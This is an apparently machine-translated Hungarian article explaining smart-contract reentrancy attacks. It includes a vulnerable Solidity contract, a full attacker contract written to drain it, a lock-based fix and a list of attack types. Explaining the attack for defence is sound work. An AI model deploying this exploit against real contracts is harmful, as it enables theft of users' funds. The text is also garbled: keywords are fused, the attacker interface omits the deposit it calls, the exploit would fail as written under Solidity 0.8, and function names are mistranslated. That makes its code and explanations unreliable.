Így zajlik az egyik leggyakoribb intelligens szerződéses feltörés, amely több millióba kerül a Web 3 cégeknek...

A blokklánc-ipar legnagyobb hackjei, ahol több millió dollár értékű kriptovaluta tokeneket loptak el, a visszatérési támadások következményei. Bár ezek a hackek az elmúlt években egyre ritkábban fordultak elő, továbbra is jelentős veszélyt jelentenek a blokklánc-alkalmazásokra és a felhasználókra.

Tehát mik is pontosan a visszatérési támadások? Hogyan helyezik el őket? És vannak-e olyan intézkedések, amelyeket a fejlesztők megtehetnek, hogy megakadályozzák ezek bekövetkezését?

Mi az a visszatérő támadás?

A visszatérő roham akkor következik be, amikor sérülékeny intelligens szerződés funkció külső hívást indít egy rosszindulatú szerződésre, ideiglenesen feladva a tranzakció áramlásának irányítását. A rosszindulatú szerződés ezután ismételten meghívja az eredeti intelligens szerződés funkciót, mielőtt az befejezné a végrehajtást, miközben lemeríti a pénzeszközöket.

Lényegében az Ethereum blokkláncon a kifizetési tranzakció három lépésből áll: egyenleg megerősítése, átutalása és egyenleg frissítése. Ha egy számítógépes bûnözõ eltérítheti a ciklust az egyenlegfrissítés elõtt, többször is kivehet pénzt, amíg a pénztárcája ki nem merül.

Kép jóváírása: Etherscan

Az egyik leghírhedtebb blokklánc-hack, az Ethereum DAO hack, amelyről a Coindesk, egy visszatérő támadás volt, amely több mint 60 millió dolláros eth-veszteséghez vezetett, és alapvetően megváltoztatta a második legnagyobb kriptovaluta irányvonalát.

Hogyan működik a visszatérő támadás?

Képzeljen el egy bankot a szülővárosában, ahol az erényes helyiek tartják a pénzüket; teljes likviditása 1 millió dollár. A bank könyvelési rendszere azonban hibás – az alkalmazottak estig várnak a banki egyenlegek frissítésével.

Befektető barátja felkeresi a várost, és felfedezi a könyvelési hibát. Létrehoz egy számlát, és letétbe helyez 100 000 dollárt. Egy nappal később 100 000 dollárt vesz fel. Egy óra múlva újabb kísérletet tesz 100 000 dollár visszavonására. Mivel a bank nem frissítette az egyenlegét, még mindig 100 000 dollárt mutat. Tehát megkapja a pénzt. Ezt addig csinálja, amíg nem marad pénz. Az alkalmazottak csak akkor veszik észre, hogy nincs pénz, amikor este kiegyenlítik a könyveket.

Az intelligens szerződés keretében a folyamat a következőképpen zajlik:

  1. A kiberbûnözõ az "X" intelligens szerzõdést sebezhetõséggel azonosítja.
  2. A támadó jogszerű tranzakciót kezdeményez a célszerződéssel (X), hogy pénzt küldjön egy rosszindulatú "Y" szerződésre. A végrehajtás során Y meghívja a sebezhető függvényt X-ben.
  3. X szerződés végrehajtása szünetel vagy késik, mivel a szerződés a külső eseménnyel való interakcióra vár
  4. Amíg a végrehajtás szünetel, a támadó ismételten meghívja ugyanazt a sebezhető funkciót az X-ben, ismét elindítva a végrehajtást, ahányszor csak lehetséges.
  5. Minden újbóli belépéssel manipulálják a szerződés állapotát, lehetővé téve a támadó számára, hogy pénzeszközöket vonjon ki X-ből Y-be.
  6. A pénzeszközök kimerülése után az újbóli belépés leáll, X késleltetett végrehajtása végül befejeződik, és a szerződés állapota az utolsó visszalépés alapján frissül.

Általában a támadó sikeresen kihasználja a visszatérési sebezhetőséget saját előnyére, és pénzt lop el a szerződésből.

Példa a visszatérő támadásra

Tehát pontosan hogyan fordulhat elő technikailag egy visszatérő támadás a telepítés során? Íme egy hipotetikus intelligens szerződés visszatérési átjáróval. Axiomatikus elnevezést fogunk használni, hogy könnyebb legyen követni.

// Vulnerable contract with a reentrancy vulnerability

pragmasolidity ^0.8.0;

contract VulnerableContract {
mapping(address => uint256) private balances;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}

A VulnerableContract lehetővé teszi a felhasználók számára, hogy eth-t helyezzenek el a szerződésben a letét funkció. A felhasználók ezután visszavonhatják a letétbe helyezett eth-jüket a visszavonulni funkció. Azonban van egy visszatérési sebezhetőség a visszavonulni funkció. Amikor egy felhasználó eláll, a szerződés átutalja a kért összeget a felhasználó címére, mielőtt frissítené az egyenleget, így lehetőség nyílik a támadónak a kihasználásra.

Nos, íme, hogyan nézne ki egy támadó okos szerződése.

// Attacker's contract to exploit the reentrancy vulnerability

pragmasolidity ^0.8.0;

interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}

contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;

constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}

// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();

// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}

// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}

// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}

Amikor a támadás megindul:

  1. A AttackerContract veszi a címét VulnerableContract a konstruktorában és tárolja a sebezhető Szerződés változó.
  2. A támadás függvényt hívja meg a támadó, és némi eth-t helyez el a VulnerableContract használni a letét funkciót, majd azonnal hívja a visszavonulni funkciója VulnerableContract.
  3. A visszavonulni funkció a VulnerableContract átutalja a kért mennyiségű eth-t a támadónak AttackerContract az egyenleg frissítése előtt, de mivel a külső hívás során a támadó szerződése szünetel, a funkció még nem teljes.
  4. A kap funkció a AttackerContract azért vált ki, mert a VulnerableContract a külső hívás során eth-t küld erre a szerződésre.
  5. A fogadás funkció ellenőrzi, hogy a AttackerContract az egyenleg legalább 1 éter (a kivonandó összeg), majd újra belép a VulnerableContract annak hívásával visszavonulni ismét funkciót.
  6. A három-öt lépést ismételje meg, amíg a VulnerableContract elfogy a pénz, és a támadó szerződése jelentős mennyiségű eth-t halmoz fel.
  7. Végül a támadó felhívhatja a visszavonja az Ellopott Pénzeszközöket funkció a AttackerContract hogy ellopják a szerződésükben felhalmozott összes pénzt.

A támadás nagyon gyorsan megtörténhet, a hálózat teljesítményétől függően. Olyan összetett intelligens szerződések bevonásával, mint a DAO Hack, amely az Ethereum kemény villájához vezetett Ethereum és Ethereum Classic, a támadás több órán át tart.

Hogyan lehet megakadályozni a visszatérő támadást

Az újbóli belépési támadások megelőzése érdekében módosítanunk kell a sebezhető intelligens szerződést, hogy kövesse a biztonságos intelligens szerződésfejlesztés legjobb gyakorlatait. Ebben az esetben az "ellenőrzések-hatások-kölcsönhatások" mintát kell megvalósítanunk az alábbi kód szerint.

// Secure contract with the "checks-effects-interactions" pattern

pragmasolidity ^0.8.0;

contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;

functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}

functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");

// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;

// Perform the state change
balances[msg.sender] -= amount;

// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");

// Unlock the sender's account
isLocked[msg.sender] = false;
}
}

Ebben a javított verzióban egy zárva leképezés annak nyomon követésére, hogy egy adott számla kifizetése folyamatban van-e. Amikor a felhasználó visszavonást kezdeményez, a szerződés ellenőrzi, hogy a fiókja zárolva van-e (!isLocked[üzenetküldő]), jelezve, hogy ugyanarról a számláról jelenleg nincs folyamatban más kifizetés.

Ha a fiók nincs zárolva, a szerződés az állapotváltozással és a külső interakcióval folytatódik. Az állapotváltozás és a külső interakció után a számla zárolása ismét feloldásra kerül, lehetővé téve a jövőbeni kifizetéseket.

A visszatérő támadások típusai

A kép forrása: Ivan Radic/Flickr

Általában a visszatérési támadásoknak három fő típusa van a kizsákmányolás jellege alapján.

  1. Egyszeri visszatérő támadás: Ebben az esetben a támadó által ismételten meghívott sebezhető funkció ugyanaz, amely érzékeny az újrabelépési átjáróra. A fenti támadás egy példa az egyszeri visszatérési támadásra, amely könnyen megelőzhető megfelelő ellenőrzések és kódzárak végrehajtásával.
  2. Keresztfunkciós támadás: Ebben a forgatókönyvben a támadó egy sebezhető funkciót kihasználva egy másik funkciót hív meg ugyanazon a szerződésen belül, amely egy állapoton osztozik a sebezhető funkcióval. A támadó által meghívott második funkciónak van néhány kívánatos hatása, ami vonzóbbá teszi a kihasználáshoz. Ez a támadás összetettebb és nehezebben észlelhető, ezért szigorú ellenőrzésekre és az összekapcsolt funkciók zárolására van szükség a mérséklése érdekében.
  3. Szerződéseken átívelő támadás: Ez a támadás akkor következik be, amikor egy külső szerződés kölcsönhatásba lép egy sebezhető szerződéssel. Ezen interakció során a sérülékeny szerződés állapota a külső szerződésben kerül meghívásra, mielőtt az teljesen frissülne. Általában akkor fordul elő, ha több szerződés ugyanazon a változón osztozik, és néhányan nem biztonságosan frissítik a megosztott változót. Biztonságos kommunikációs protokollok a szerződések és az időszakos között intelligens szerződés auditok meg kell valósítani a támadás mérséklése érdekében.

A visszatérő támadások különböző formákban nyilvánulhatnak meg, ezért mindegyik megelőzése speciális intézkedéseket igényel.

Biztonságban maradni a visszatérő támadásoktól

A visszatérő támadások jelentős pénzügyi veszteségeket okoztak, és aláásták a blokklánc-alkalmazásokba vetett bizalmat. A szerződések védelme érdekében a fejlesztőknek szorgalmasan kell alkalmazniuk a bevált gyakorlatokat, hogy elkerüljék az újbóli belépési sebezhetőséget.

Ezenkívül biztonságos visszavonási mintákat kell alkalmazniuk, megbízható könyvtárakat kell használniuk, és alapos ellenőrzéseket kell végezniük az intelligens szerződés védelmének további megerősítése érdekében. Természetesen az újonnan megjelenő fenyegetésekről való tájékozottság és a biztonsági erőfeszítések proaktív szerepvállalása biztosíthatja a blokklánc-ökoszisztémák integritását is.